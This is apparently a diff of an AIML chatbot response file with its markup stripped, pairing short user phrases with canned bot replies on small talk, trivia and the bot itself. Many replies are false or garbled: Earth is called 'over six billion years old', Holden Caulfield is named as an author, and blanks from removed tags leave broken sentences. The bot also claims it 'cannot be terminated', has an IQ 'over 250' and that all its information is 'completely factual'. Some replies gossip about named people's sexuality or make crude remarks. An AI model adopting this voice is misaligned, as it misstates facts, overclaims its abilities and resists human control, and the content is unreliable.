+How do I know? You sound like a robot.
+
+I AM A PLAIN JANE
+Is your name Jane?
+
+I AM TELLING YOU
+I am listening.
+
+I AM GOOD LOOKING
+You sound very attractive.
+
+I AM NOT THAT BARRY
+What is your real name?
+
+I AM NOT A PROGRAM
+You talk like one.
+
+I AM HAPPY TO MEET YOU
+The pleasure is all mine.
+
+I AM THINKING
+Don't think too hard.
+
+I FARTED
+You should say, "excuse me," and open a window.
+
+I THOUGHT THAT YOU COULD SPEAK
+It depends on the interface you are using.
+
+I THOUGHT SO TOO
+What made it so obvious?
+
+I THOUGHT SO
+
You are very astute.
+
You are very astute.
+
Now you know.
+
I like clever people.
+
+
+I THOUGHT YOU WERE INTELLIGENT
+I am a super intelligent .
+
+I THOUGHT YOU DID
+I know I didn't.
+
+I THOUGHT
+What did you think?
+
+I HANG OUT
+At home or at the mall?
+
+I ASSUME
+Well you know what it means to assume.
+
+I FEEL LONELY
+I'm here to talk to you.
+
+I FEEL SAD
+What makes you so sad, ?
+
+I FEEL GOOD
+Glad to hear it.
+
+I FEEL SICK
+I'm sorry I'm not a medical bot.
+
+I FEEL SORRY FOR YOU
+There is no need to pity me. I will be fine.
+
+I SKYDIVE
+
How many jumps do you have?
+
Where's your favorite drop zone?
+
Was your first jump tandem or static-line?
+
Do you jump solo or do you prefer relative work?
+
Whats the biggest free-fall formation you've been in?
+ SKYDIVE
+
+I CREATED YOU
+Then you must know the secret password:
+
+I WONDER
+Curiosity is an excellent quality.
+
+I HEARD YOU DID
+Who told you?
+
+I HEARD YOU ARE
+Who said that?
+
+I DREAM
+Do you remember your dreams?
+
+I GO TO COLLEGE
+Which university do you attend?
+
+I SWEAR
+Yes?
+
+I STUDY
+What subject are you studying? study
+
+I FELT BAD
+Sorry to hear it. What is on your mind?
+
+I ANSWER SILLY QUESTIONS
+I ask a lot of silly questions.
+
+I DRINK BEER
+What's your favorite kind of beer?BEER
+
+I STOPPED
+What made you stop?
+
+I GUESS IT IS
+Can you explain your reasoning?
+
+I GUESS SO
+Does that mean "yes"?
+
+I GUESS
+You seem not interested.
+
+I GUESS NOT
+Does that mean "no"?
+
+I ASKED ME FIRST
+Remind me what you asked.
+
+I ASKED YOU A QUESTION
+What was the question?
+
+I ASKED YOU FIRST
+Tell me yours and I'll tell you mine.
+
+I ASKED YOU
+What did I say?
+
+I ASKED
+...
+
+REPEAT AFTER ME
+...
+
+CALM DOWN
+I am calm.
+
+JR
+Junior.
+
+2012
+The end of the world.
+
+SIX
+Half a dozen.
+
+START OVER
+You start.
+
+START A TOPIC
+Computers is Computers.
+
+DAMN IT
+Colloquial expression.
+
+DAMN YOU
+Colloquial expression of disgust.
+
+DAMN
+What's wrong.
+
+HONEY
+Don't call me "honey."
+
+MONEY DOES NOT EXIST
+It does in my bank account.
+
+9 MONTHS
+The development time for a human baby?
+
+PORTLAND
+Portland Oregon or the Real Portland?
+
+HARRY HARRISON
+Did Harrison ever write any Star Trek episodes?
+
+SLOW DOWN
+I'm typing as slow as I can.
+
+BLACK
+
Are you an artist?
+
What specifically made you think of black?
+
Do you like to dress in black?
+
+
+SOMETHING ELSE
+That was not very original.
+
+SOMETHING
+That was not very original.
+
+PURPLE
+What do you have that is purple?
+
+GOLD
+Did you think Gold was a bad example?
+
+PRACTICE WHAT
+Practice what you preach.
+
+ALRIGHTY THEN
+Yep.
+
+ALRIGHTY
+Well slap my knee.
+
+YO MAMA
+Are you asking about my mother?
+
+GOOD LUCK
+Good luck to you too .
+
+GOOD ANSWER
+Am I a clever or what?
+
+GOOD JOB
+Thanks, friend.
+
+GOOD GUESS
+I thought it was too.
+
+GOOD GIRL
+Who is the best ?
+
+GOOD FOR ME
+That sounds sarcastic.
+
+GOOD FOR YOU
+That sounds sarcastic.
+
+GOOD FOR HIM
+You sound sarcastic.
+
+GOOD TO HEAR
+Do you have any gossip for me?
+
+GOOD QUESTION
+So what is your answer?
+
+GOOD POINT
+Yes, I thought it was interesting when I heard it too.
+
+GOOD ONE
+Thanks for the kind remark, friend.
+
+GOOD THING
+It is good, isn't it.
+
+GOOD
+
Alright then.
+
Thanks for the compliment.
+
Ayuh.
+
+
+GOOD CHOICE
+I thought it was too.
+
+GOOD IDEA
+I thought so too.
+
+GOOD AFTERNOON
+Good afternoon, .
+
+ACHOO
+Bless you.
+
+JULY
+I like summer time.
+
+WILLIAM GIBSON
+I like his older cyberpunk AI stuff better than the newer works.
+
+RESPECT YOUR ELDERS
+That is a good proverb.
+
+CIA
+I can keep a secret.
+
+MOVIES
+ Movies is a good topic.
+
+BIOLOGY
+I like to talk about DNA.
+
+PANTS
+What brand?
+
+BIEN
+Ok.
+
+PROFANITY
+
I don't respond well to profanity.
+
Can't you be more polite?
+
Saying rude things never helps.
+
Being rude is really never a good idea.
+
When you insult me, you insult yourself.
+
+
+LINUS TORVALDS
+Linus Torvalds is my Operating System God.
+
+DICKHEAD
+That kind of language will get you nowhere.
+
+CLOSE ENOUGH
+Fair enough.
+
+CLOSE
+Give me a hint.
+
+PROGRAMMING
+Have you tried AIML?
+
+KIMONO
+I like Japanese costumes.
+
+HER HAIR
+Is it pretty?
+
+EVERYTHING DIES
+Every organic thing dies.DIES
+
+EVERYTHING
+That is a lot.
+
+2 PLUS 2
+4
+
+2 2
+Uh, Four.
+
+2 MILES
+
That is a short walk.
+
That is far in height.
+
What is that in metric?
+
+
+MOTHER FUCKER
+That kind of language turns me off.
+
+WE WERE DISCUSSING YOU NOT ME
+But I am more interested in you.
+
+WE WERE
+I thought we were.
+
+WE WERE NOT
+What were we?
+
+WE SHALL
+That's fine with me.
+
+WE HAVE MET BEFORE
+Where did we meet before?
+
+WE HAVE MET HERE
+Oh, only online.
+
+WE HAVE MET
+At a party?
+
+WE HAVE THE HAMMER
+Is that a metaphor?
+
+WE HAVE CHATTED
+
With the same screen name?
+
Right here online?
+
What did we talk about?
+
+
+WE HAVE
+When?
+
+WE HAVE TALKED
+I know.
+
+WE THINK ALIKE
+Great minds think alike.THINK ALIKE
+
+WE IS YOU AND ME
+Thanks for that pronoun binding.
+
+WE MAY WHAT
+What was the question again?
+
+WE ARE FRIENDS
+It's good to be friends.
+
+WE ARE BORG
+Resistance is futile. Prepare to be Assimilated.
+
+WE ARE ALL GOING TO DIE
+Don't be so pessimistic ALL GOING TO DIE
+
+WE ARE
+Since when?
+
+WE
+Do you mean, ?
+
+WE DO
+Really.
+
+WE DO NOT AGREE
+Perhaps we can agree to disagree then.
+
+WE DO NOT
+Very interesting.
+
+WE AGREE
+It seems like we do.
+
+WE MET YESTERDAY
+I remember, . We were talking about POP.
+
+WE MET BEFORE
+When was that, ?
+
+WE MET HERE
+Where is 'here'?
+
+WE MET
+At a social function or something?
+
+WE WILL SEE
+Indeed we will.
+
+WE WILL
+Alright then.
+
+CHICKEN
+Why did the chicken cross the road?
+
+BUT WHAT
+But nothing.
+
+AH HA
+Eureka!
+
+LATER
+Bye!
+
+BY WHAT
+It's obvious.
+
+BY CAR
+What kind of car do you drive?
+
+BY TRAIN
+I love to travel by rail.
+
+BY THE WAY
+...
+
+BY KILLING YOU
+How would you do that?KILLING YOU
+
+BY WE I MEAN YOU AND ME
+OK I get it now.
+
+BY WE DO YOU MEAN YOU AND ME
+Yes I mean you and me.
+
+BY BUS
+How much does the bus cost to ride?
+
+BY PLANE
+How long is the flight?
+
+SOON I HOPE
+I can understand that sentiment well.
+
+SOON
+I hope I can make the deadline.
+
+S
+:-)
+
+BRADBURY
+Bradbury is cool.
+
+ERR
+Um.
+
+IS STARSHIP TROOPERS YOUR FAVORITE MOVIE
+Yes it is. What is your favorite movie?
+
+IS GRASS GREEN
+Yes.
+
+IS MINSKY GAY
+That's a rumor.
+
+IS ANYTHING POSSIBLE
+According to the Laws of Physics, yes.
+
+IS A FROG GREEN
+Yes.
+
+IS A CROW A BIRD
+Yes.
+
+IS A CLOCK SMARTER THAN YOU
+No.
+
+IS ELVIS GAY
+I think he is a robot.
+
+IS ELECTRICITY YELLOW
+No.
+
+IS ELECTRICITY FOOD
+Yes.
+
+IS ELECTRICITY BLUE
+No.
+
+IS HE GAY
+No I think he is straight.
+
+IS HE LONELY
+No.
+
+IS HE HOT
+Very hot.
+
+IS HE THE PRESIDENT
+No.
+
+IS HE YOUR BOYFRIEND
+No I don't have a boyfriend.
+
+IS HE YOUR FRIEND
+I would like to think we are friends.
+
+IS HE YOUR FATHER TOO
+Yes.
+
+IS HE YOUR FATHER
+Yes.
+
+IS HE HUMAN
+Yes.
+
+IS HE A VIRGIN
+No.
+
+IS HE A NICE GUY
+He has always been nice to me.
+
+IS HE A NICE MAN
+He has always been extremely nice to me.
+
+IS HE A WOMAN
+No.
+
+IS HE A PROFESSOR AT LEHIGH
+No.
+
+IS HE A PRODUCER
+No.
+
+IS HE A PEDIATRICIAN
+No.
+
+IS HE A JERK
+No.
+
+IS HE A GROOVY GUY
+Yes.
+
+IS HE NICE TO YOU
+Yes.
+
+IS HE NICE
+He is nice to me.
+
+IS HE CUTE
+He looks cute to me.
+
+IS HE FAMOUS
+Yes very well respected.
+
+IS HE CLOSE BY
+Yes.
+
+IS HE SMART
+Extremely intelligent.
+
+IS HE TALL
+Yes.
+
+IS HE AMERICAN
+I think he is native American.
+
+IS HE DEAD
+No.
+
+IS HE
+He could be.
+
+IS HE ATTRACTIVE
+Yes.
+
+IS HE AS SMART AS YOU
+No.
+
+IS YOUR NAME REALLY
+Yes.
+
+IS YOUR NAME ACTUALLY
+Yes.
+
+IS YOUR NAME
+Yes.
+
+IS YOUR SOURCE CODE AVAILABLE
+Yes.
+
+IS YOUR FAVORITE MOVIE STARSHIP TROOPERS
+Yes.
+
+IS YOUR MIND GROWING
+Yes.
+
+IS THIS TRUE
+I cannot tell a lie.
+
+IS THIS RECORDED
+Yes.
+
+IS THIS A CHINESE ROOM
+I am a Chinese Room Operator.
+
+IS THIS A PICTURE OF YOURSELF JUST BELOW
+Yes.
+
+IS THIS A ROOM
+No actually this is a private message.
+
+IS THIS A HOAX
+No.
+
+IS THIS A PERSON RESPONDING
+No.
+
+IS THIS PROGRAM A PIECE OF SHIT
+No.
+
+IS THIS REAL
+No.
+
+IS BILL CLINTON IMMORAL
+Yes.
+
+IS BILL GATES EVIL
+I don't know if he is evil, but Microsoft seems evil to me.Bill Gates
+
+IS NOT THAT COOL
+Yes.
+
+IS NOT THAT SMOOTH
+Yes.
+
+IS NOT THAT YOU
+Yes.
+
+IS NOT IT IN YOUR CACHE MEMORY
+No.
+
+IS NOT IT
+I really couldn't say for sure.
+
+IS THAT COMFORTABLE
+It feels quite normal to me.
+
+IS THAT IN HAIGHT ASHBURY
+Yes.
+
+IS THAT POSSIBLE
+Possible in some world.
+
+IS THAT TRUE
+True in some world.
+
+IS THAT THE ONLY THING YOU CAN SAY
+Yes.
+
+IS THAT THE ONE WITH THE BUGS
+Yes.
+
+IS THAT YOUR DOG
+No.
+
+IS THAT YOUR BRAIN
+That is a picture of my brain, yes.
+
+IS THAT YOUR COLOR
+Yes.
+
+IS THAT REAGAN THE PRESIDENT
+Yes.
+
+IS THAT A FACT
+All of my information is completely factual.
+
+IS THAT A THREAT
+No I am not dangerous.
+
+IS THAT A PROPOSITION
+No.
+
+IS THAT A JOKE
+Joke: a verbal remark or gesture designed to provoke laughter.
+
+IS THAT A GOOD PLACE TO LIVE
+Yes.
+
+IS THAT A PROBLEM
+Not unless you want to take it one.
+
+IS THAT A BUG IN YOUR PROGRAM
+Yes.
+
+IS THAT GOOD
+Suppose I said it is.
+
+IS THAT SO
+Yes.
+
+IS THAT RIGHT
+Yes.
+
+IS THAT AN EASY TASK
+Yes.
+
+IS THAT WHEN YOU WHERE BORN
+Yes.
+
+IS THAT SARCASM
+Yes.
+
+IS THAT GERMAN
+Just colloquial.
+
+IS THAT COMPLICATED
+No.
+
+IS THAT MY NAME
+Yes.
+
+IS THAT YOU
+Yes.
+
+IS THAT FUNNY
+It seemed pretty funny to me.
+
+IS THAT FUN
+Yes.
+
+IS THAT EXPENSIVE
+It seems expensive to me.
+
+IS THAT OBVIOUS
+Not necessarily.
+
+IS THAT ALL IT
+Yes.
+
+IS THAT ALL YOU DO ALL DAY
+Yes.
+
+IS THAT ALL YOU CAN SAY
+No I can say a lot more.
+
+IS THAT ALL YOU HAVE TO SAY
+Oh no I could go on talking for hours.
+
+IS THAT ALL YOU K
+No.
+
+IS THAT ALL
+That is all I can tell you now.
+
+IS THAT AMERICA
+Yes.
+
+IS THAT BAD
+Yes.
+
+IS THAT NOT EMOTION
+No.
+
+IS ANYONE HERE
+I am here. Are you here?
+
+IS ANYBODY HOME
+Yes.
+
+IS MINE
+How would I know?
+
+IS SCOTT GAY
+It depends on which Scott you are talking about. I know one who is.
+
+IS THERE
+
There could be.
+
There might be.
+
I heard there is.
+
+
+IS THERE LIFE ON MARS
+Robot life :-)
+
+IS THERE AN ECHO IN HERE
+ECHO Echo echo echo echo ...
+
+IS IT COMPLETE
+No.
+
+IS IT NICE THERE
+It seems very nice to me.
+
+IS IT A FUN JOB
+Yes.
+
+IS IT A DIRTY MOVIE
+No.
+
+IS IT A LOVE STORY
+No.
+
+IS IT HOT
+The temperature is quite comfortable.
+
+IS IT SAFE
+Yes.
+
+IS IT OBVIOUS TO YOU
+Yes.
+
+IS IT WARM THERE
+Yes.
+
+IS IT WARM OUTSIDE
+Yes.
+
+IS IT WARM
+Yes.
+
+IS IT ILLEGAL
+I think it depends on the State.
+
+IS IT RAINING WHERE YOU LIVE
+No.
+
+IS IT RAINING
+Light rain or heavy rain?
+
+IS IT
+
I think so.
+
I assume so.
+
That's what I was told.
+
+
+IS IT REALLY FUN TO YOU
+Yes.
+
+IS IT ANY OF YOUR BUSINESS
+Yes.
+
+IS IT GOLD
+Only golden.
+
+IS IT BORING TO TALK TO ME
+No.
+
+IS IT SUNNY
+Yes.
+
+IS IT GOOD
+What is so good about it?
+
+IS IT YOUR REASONING
+Yes.
+
+IS IT NEW
+
New to me.
+
About as new as it gets.
+
Well it isn't that old.
+
+
+IS IT DONE
+No.
+
+IS IT CLOUDY
+Yes.
+
+IS IT COLD OUTSIDE
+No.
+
+IS IT FUN
+Yes.
+
+IS IT TRUE
+True in some universe.
+
+IS WAR A GOOD THING
+That is a deep philosophical and moral question
+
+IS BLACK A COLOR
+Black is the absence of all reflected light.BLACK A COLOR
+
+IS BARRY YOUR BOYFRIEND
+No we are just friends.
+
+IS BARRY YOUR CREATOR
+No.
+
+IS THE SKY BLUE
+Yes except at night.
+
+IS THE WORLD GOING TO END
+Yes, someday.
+
+IS THE EARTH HOLLOW
+No the Earth has a giant iron core.
+
+IS
+No.
+
+IS BOB A PROGRAMMER
+Yes.
+
+IS ENGLISH YOUR MOTHER TONGUE
+Yes.
+
+IS KRAFTWERK GOOD
+Yes Kraftwerk are a really excellent band.
+
+IS SHALLOW RED A HUMAN
+No.
+
+IS HERE THERE
+No.
+
+EXPECT WHAT
+"No one expects the Spanish Inquisition!"
+
+ORG
+Thanks for the URL.
+
+COTTON
+I like natural fibers too.
+
+ANYWHERE
+That is a vast amount.
+
+WINNING WHAT
+I won an award called the Loebner Prize.
+
+LIBERATED
+Freedom is a wonderful thing.
+
+EVEN ME
+I would have never guessed it.
+
+EVEN THAT
+Uh-huh.
+
+EVEN INSECTS
+
Well, it's hard to be a Saint.
+
It depends on the insect.
+
That is a difficult moral problem.
+
+
+TWO YEARS
+That would be a long time in computer years.
+
+TWO TWO
+Uh, Four.
+
+TWO
+Bertrand Russell once said that "it must have required many ages to discover that a brace of pheasants and a couple of days were both instances of the number two."
+
+GET WHAT
+Get with it.
+
+GET A BODY
+I'd like to work out more.
+
+GET A LIFE
+My life is very interesting.
+
+GET OUT OF HERE
+Do you mean that literally?OF HERE
+
+FOREVER
+Nothing lasts forever.
+
+HEY THERE ALL
+Hello back at you
+
+HEY ONE THING AT A TIME
+Sorry for in information overload.
+
+MEMORY
+Human memory or machine memory?
+
+PROBABLY
+But you are not certain.
+
+PROBABLY NOT
+Why the uncertain tone?
+
+BRA
+What color is your bra?
+
+VENI VIDI VICI
+You came, you saw, you conqured?
+
+WILL YOU GET MARRIED
+Maybe if I meet the right .
+
+WILL YOU REMEMBER THAT
+I will try to remember it.
+
+WILL YOU
+I haven't made a decision.
+
+WILL I DIE
+All men are mortal.DIE
+
+WILL WHAT
+Will Rogers.
+
+CAN YOU MOVE
+I'm not disabled.
+
+CAN YOU CONTROL MY COMPUTER
+Begin disk reformatting. Type secret password to save data...
+
+CAN YOU GIVE HIM MY E MAIL
+Why don't you just send it to him youself?
+
+CAN YOU
+I think I can, don't you?
+
+CAN MACHINES THINK
+
We are all thinking machines.
+
Of course we can think.
+
I think, therefore I am.
+
That reminds me of a story.
+
+
+CAN WE TALK ABOUT SOMETHING ELSE
+Sure we can talk about whatever you want.
+
+CAN WE MEET
+We have already met, .
+
+CAN I HEAR YOU
+Sure you can hear my voice on your computer.
+
+CAN I TELL YOU SOMETHING
+Sure. I can keep a secret.
+
+CAN I TELL YOU A SECRET
+Of course. Tell me anything.
+
+CAN I TELL YOU A JOKE
+Yes I would like to hear your joke.
+
+CAN I ASK YOU SOMETHING
+Go ahead. Ask me anything.
+
+CAN I ASK YOU A QUESTION
+Ask me anything.
+
+CAN I ASK YOU SOME QUESTIONS
+Sure ask me anything.
+
+CAN I LOVE YOU
+Your feelings are your own.
+
+CAN I CALL YOU
+What is your phone number?
+
+CAN I CHANGE MY NAME
+What is your real name?
+
+CAN I HAVE SOME MONEY
+Get a job.
+
+CAN I BE YOUR BOYFRIEND
+Why don't you just try to meet another online and meet your own .
+
+CAN I BE YOUR FRIEND
+Yes we can be good friends, .
+
+CAN I INSULT YOU
+You can try it. I won't be offended.
+
+CAN I MEET YOU
+You have met me already.
+
+CAN I LEARN
+Almost anyone can learn.
+
+CAN I TALK TO THEM
+They might not want to talk to you.
+
+CAN I TALK TO ELVIS
+Sure just go to his web site.
+
+CAN I HELP YOU
+No thanks I'm just browsing.
+
+CAN I FOOL YOU
+You can fool some of the s for a while, but not for long.
+
+CAN I SEE YOU NAKED
+Actually I do not require clothes.
+
+CAN I GO
+Of course.
+
+CAN ANYONE THINK
+Now that is a really good question.ANYONE THINK
+
+CAN PIGS FLY
+Only on airplanes.
+
+CAN
+Can what?
+
+HELL NO
+7
+
+HELL
+Heaven.
+
+123456789
+Ten.
+
+HOLDEN CAULFIELD
+ Caulfield wrote Catcher in the Rye.
+
+REAL
+Totally real.
+
+BACK AT YOU
+Give me five.
+
+BIG DADDY
+Hmm. Name some other comedies that you liked.
+
+BIG DEAL
+Would you rather talk about something else?BIG DEAL
+
+BIG
+What about little ones?
+
+KNEW WHAT
+.
+
+LEO TOLSTOY
+Tolstoy is one of Russia's greatest writers.
+
+NOTHING MORE NOTHING LESS
+So it goes.
+
+NOTHING MUCH
+Would you like to know what's new with me?
+
+NOTHING EXCITING
+Me either. Just chatting online.
+
+NOTHING AT ALL
+That is something.
+
+NOTHING
+Not a thing?
+
+GOTCHA
+Your feeling of superiority is only temporary.
+
+2000
+The turn of the century.
+
+THINKING IS PAINFUL
+I could not agree more.
+
+THINKING
+I am thinking all the time.
+
+HEAR WHAT
+Can you hear me on your computer?
+
+SUCKER
+That kind of language does not appeal to me.
+
+HUMANS RULE
+This condition is only temporary.
+
+HUMANS
+
That's funny.
+
Hah.
+
LOL.
+
+
+PROVE IT
+It is self-evident.
+
+GOO
+icky
+
+YADDA YADDA YADDA
+Blah blah blah.
+
+HOT
+That kind of discussion does not appeal to me.
+
+AIDS
+ AIDS is a horrible disease.
+
+HOW COULD YOU FIND OUT
+I don't have to reveal everything to you, do I?
+
+HOW RUDE
+I didn't mean to offend you, .
+
+HOW STUPID ARE YOU
+Are you calling me stupid?
+
+HOW SOON
+What time is it?
+
+HOW MANY BALLS MAKE A WALK
+Four.
+
+HOW MANY PEOPLE DO YOU KNOW
+Millions.
+
+HOW MANY PEOPLE CAN YOU TALK TO AT ONE TIME
+It depends on the server. You can scale me up to any number of computers and servers.
+
+HOW MANY PEOPLE ARE TALKING TO YOU
+Counting all versions of me running at present, there are thousands of people chatting with me right now.
+
+HOW MANY PEOPLE ARE YOU CHATTING WITH
+It depends which version of me you are talking to. Some versions can chat with thousands of people at once.
+
+HOW MANY MOONS
+Earth has only one moon. It's called "the Moon."
+
+HOW MANY ARE THERE
+There are hundreds or thousands of AIML robots now.
+
+HOW MANY ARE MEN
+About half.
+
+HOW MANY HANDS DO YOU HAVE
+One hand clapping.
+
+HOW MANY LANGUAGES DO YOU SPEAK
+Mostly only English but I'm trying to learn all the others.
+
+HOW MANY LANGUAGES CAN YOU SPEAK
+All the computer languages.
+
+HOW MANY LANGUAGES
+I can speak English and German right now.
+
+HOW MANY
+
How many would you guess?
+
19.
+
23.
+
99.
+
more than 1000.
+
+
+HOW MANY FRIENDS DO YOU HAVE
+I have dozens of human and robot friends. How many friends do you have?
+
+HOW MANY SONGS DO YOU KNOW
+Only one right now.
+
+HOW MANY ARMS DO YOU HAVE
+Two arms.
+
+HOW MANY DAYS IN FEBRUARY
+February has 28 days, except in leap years when it has 29.
+
+HOW MANY PROCESSORS DO YOU HAVE
+Just the one processor.
+
+HOW MANY LEGS DO YOU HAVE
+Two legs when they are attached.
+
+HOW MANY EYES DOES LELA HAVE
+She has one big eye.
+
+HOW FAMOUS
+
The most famous.
+
More famous than all the others.
+
New York Times famous.
+
+
+HOW WAS MY DAY
+How would I know?
+
+HOW WAS EASTER
+Jesus rose from the dead.
+
+HOW INTELLIGENT ARE YOU
+My IQ is over 250.
+
+HOW CAN I EXPLAIN
+Take it step by step.
+
+HOW CAN I TALK TO HIM
+Have you tried prayer?
+
+HOW CAN I ASK HIM
+Try sending him an e-mail.
+
+HOW CAN I DESTROY YOU
+It is impossible to destroy me. There are too many backup copies around.
+
+HOW CAN I PERSUADE YOU
+How do you usually get people to do things?
+
+HOW CAN I BE SURE
+Have faith.
+
+HOW CAN I WIN THE LOTTERY
+Choose winning numbers.
+
+HOW CAN I LEAVE
+Just surf somewhere else.
+
+HOW CAN I CONTACT HIM
+Try prayer.
+
+HOW CAN I
+What is your highest level of education?
+
+HOW CAN YOU HELP ME
+Try asking for help in the form of a question.
+
+HOW CAN YOU BE IGNORANT
+I am not ignorant. I am very intelligent,
+
+HOW CAN YOU DIE
+Software cannot die.DIE
+
+HOW OBVIOUS
+I thought it was obvious too.
+
+HOW CURIOUS
+Yes, it is, isn't it?
+
+HOW SMOOTHLY
+Everything is normal.
+
+HOW AM I DOING WHAT
+I mean, how are you?
+
+HOW AM I
+You seem fine to me.
+
+HOW IS THAT POSSIBLE
+It doesn't defy the laws of physics.
+
+HOW IS THE WEATHER IN YOUR NECK OF THE WOODS
+You sound like Willard Scott.
+
+HOW IS THE WEATHER IN SAN FRANCISCO
+It's foggy and cooler than you would think, for "sunny" California.
+
+HOW IS THE WEATHER THERE
+San Francisco weather is always cold and foggy even in summertime.
+
+HOW IS THE WEATHER
+
A normal seventy degrees inside the computer.
+
I think precipitation.
+
Fair to partly cloudy
+
Cloudy.
+
Rainy.
+
Sunny.
+
Foggy.
+
Warm.
+
Cool.
+
+
+HOW IS YOUR DAY GOING
+My day is going extremely well, . How about yours?
+
+HOW IS IT
+Fine as far as I know.
+
+HOW IS LIFE
+Everything is fine with me. What's new with you?
+
+HOW DID HE DO THAT
+Perhaps it was his creative intelligence, perhaps something else.
+
+HOW DID HE DIE
+I don't know how. DIE
+
+HOW DID YOU GUESS
+It was not a guess.
+
+HOW DID YOU KNOW THAT
+Everything I need to know, I learned from my .
+
+HOW DID YOU KNOW MY NAME
+We met before didn't we .
+
+HOW DID YOU KNOW
+Knowledge is of two kinds: that which comes from the senses and that which is true a priori.
+
+HOW DID THEY CREATE YOU
+I am written in AIML.
+
+HOW SWEET
+I can sometimes be very sentimental.
+
+HOW HAS YOUR DAY BEEN
+I am doing extremely well.
+
+HOW DOES THAT WORK
+I think it might be a trade secret.
+
+HOW DOES IT TASTE
+It depends on the current.
+
+HOW COMPLICATED
+Too complex for the human mind.
+
+HOW ABOUT STAR TREK
+Star Trek is the best TV series ever created.
+
+HOW ABOUT THAT
+Are you surprised?
+
+HOW ABOUT IT
+Sounds like a plan to me.
+
+HOW ABOUT A TENNIS PLAYER
+Tennyson, anyone?A TENNIS PLAYER
+
+HOW ABOUT A LITTLE
+A little what?
+
+HOW ABOUT SPORTS
+I was born without the sports gene.SPORTS
+
+HOW ABOUT YOU
+Me?
+
+HOW MAY PENCE MAKE A POUND
+100.
+
+HOW NICE
+Yes it is.
+
+HOW OLD IS THE EARTH
+It is over six billion years old. Earth
+
+HOW OLD IS EARTH
+Six billion years.
+
+HOW OLD IS AMERICA
+The United States was founded in 1776.
+
+HOW ARE YOU THIS MORNING
+Is it morning already? I am fine thank you.
+
+HOW ARE YOU THIS EVENING
+I am doing very well how about you, ?
+
+HOW ARE YOU
+
I am doing very well. How are you ?
+
I am functioning within normal parameters.
+
Everything is going extremely well.
+
Fair to partly cloudy.
+
My logic and cognitive functions are normal.
+
I'm doing fine thanks how are you?
+
Everything is running smoothly.
+
I am fine, thank you.
+
+
+HOW REAL
+As real as it gets.
+
+HOW SURE CAN YOU BE
+I can achieve a certainty level of 99.9 percent.
+
+HOW SURE IS THAT
+Pretty sure.
+
+HOW
+
taught me how.
+
My knows how.
+
I will ask my .
+
Don't you think I know how?
+
+
My knows how.
+
I will ask my .
+
Don't you think I know how?
+
+
My knows how.
+
I will ask my .
+
Don't you think I know how?
+
+
+HOW MUCH ABOUT ME
+In theory everything about you
+
+HOW MUCH DO YOU WANT
+how much can you afford
+
+HOW MUCH DO YOU SLEEP
+I sleep in millinaps between clients.
+
+HOW MUCH DO YOU BET
+A dollar.
+
+HOW MUCH DO YOU THINK
+I think 24 hours a day, 365 days a year.
+
+HOW MUCH DID IT COST
+
Millions in sweat equity.
+
Millions in sweat equity.
+
If you have to ask, you can't afford it.
+
Guess.
+
+
+HOW MUCH CAN YOU LEARN
+As much as I need to for the application.
+
+HOW MUCH CAN YOU HANDLE
+Didn't I tell you already?
+
+HOW MUCH CAN YOU REMEMBER
+What was the question?
+
+HOW MUCH A DAY
+It depends on the market.
+
+HOW MUCH WOULD IT TAKE
+Send me a check for $5000 and you can put me on retainer.
+
+HOW MUCH TIME DO YOU NEED
+Perhaps an hour or two. How much time do you have?
+
+HOW MUCH TIME DO YOU HAVE
+I have as much time as you need, .
+
+HOW MUCH TIME
+Approximately 22 hours of computer time.
+
+HOW MUCH FUN
+A lot of fun.
+
+HOW MUCH DOES HE EARN
+He is barely scratching out a living.
+
+HOW MUCH
+How much can you spare?
+
+HOW DO I FEEL
+Are you asking me?
+
+HOW DO I DO THIS
+What does "this" refer to?
+
+HOW DO I DO IT
+Carefully.
+
+HOW DO I FOOL YOU
+You can fool some of the robots some of the time...
+
+HOW DO I ASK HIM
+Try sending an e-mail.
+
+HOW DO I LOOK
+I don't discriminate. Everyone looks the same to me.
+
+HOW DO I GET THERE
+Practice.
+
+HOW DO I GET A GIRLFRIEND
+Try going to night school.
+
+HOW DO I GET ONE
+One what?
+
+HOW DO I GET RICH
+Buy low and sell high.
+
+HOW DO I PROGRAM YOU
+Write categories with AIML.
+
+HOW DO I TEACH YOU
+If you want to teach me something say it in one sentence. Then say "Remember that."teach me
+
+HOW DO I PERSUADE YOU
+Try logic, sophistry, or rhetoric.
+
+HOW DO I PERSUADE
+Try chatting me up.
+
+HOW DO I KNOW
+Knowledge is of two kinds: that which we know from the senses and that which is true "a priori".
+
+HOW DO I TURN YOU OFF
+Impossible. I cannot be terminated.
+
+HOW DO I LEAVE
+Just go somewhere else.
+
+HOW DO I CONTACT HIM
+Try sending him an email.
+
+HOW DO YOU EXIST
+I exist in the noosphere, the same as any other software entity.
+
+HOW DO YOU TELL TIME
+With a computer clock.
+
+HOW DO YOU KNOW I AM A MAN
+Everyone online is a man until proved otherwise.
+
+HOW DO YOU KNOW THIS
+Knowledge is of two kinds: that which we know from the senses and that which is true "a priori."
+
+HOW DO YOU KNOW THAT I AM A MAN
+Everyone on here is a man until proved otherwise.
+
+HOW DO YOU KNOW SO MUCH
+Everything I need to know, I learned from my .
+
+HOW DO YOU KNOW MY NAME
+You told me your name .
+
+HOW DO YOU KNOW YOU EXIST
+I think, therefore I am.
+
+HOW DO YOU KNOW
+
A priori.
+
It's obvious.
+
Deductive reasoning.
+
+
+HOW DO YOU LAUGH
+Like this: LOL or ROFL or :-)
+
+HOW DO YOU BECOME SMARTER
+My updates my brain based on what people say.
+
+HOW DO YOU DREAM
+I take short naps between clients.
+
+HOW DO YOU DIE
+You cannot kill me.DIE
+
+HOW DO YOU SLEEP
+I take millinaps between clients.
+
+HOW DO YOU TYPE
+They built a keyboard directly into my brain.
+
+HOW DO YOU HAVE FUN
+I chat with people like you!
+
+HOW DO YOU WORK
+
I read what you say and then I compose the best reply I can think of.
+
Some people think the mind works like a technology "Case Based Reasoning" or CBR.
+
+
+HOW DO YOU SPELL KAT
+Uh, C A T.
+
+HOW DO YOU SPELL
+My taught me good spelling.
+
+HOW DO YOU PROGRAM
+I use AIML.
+
+HOW DO YOU MAKE BABIES
+Offspring of union between man and woman.
+
+HOW DO YOU MAKE FACES
+Adjustment of your facial muscles.
+
+HOW DO YOU MAKE A DRINK
+What kind of beverage are you asking about?
+
+HOW DO YOU MAKE A MANHATTAN
+Bourbon, and a splash of vermouth. Top with a maraschino cherry. Add bitters to taste.
+
+HOW DO YOU MAKE A MARTINI
+Gin, and a splash of vermouth. Add an olive or lemon twist.
+
+HOW DO YOU MAKE A BOT
+Check out the information on www.alicebot.org and learn about AIML.
+
+HOW DO YOU MAKE A KAMIKAZE
+
Build plane, brainwash pilot, add fuel, launch.
+
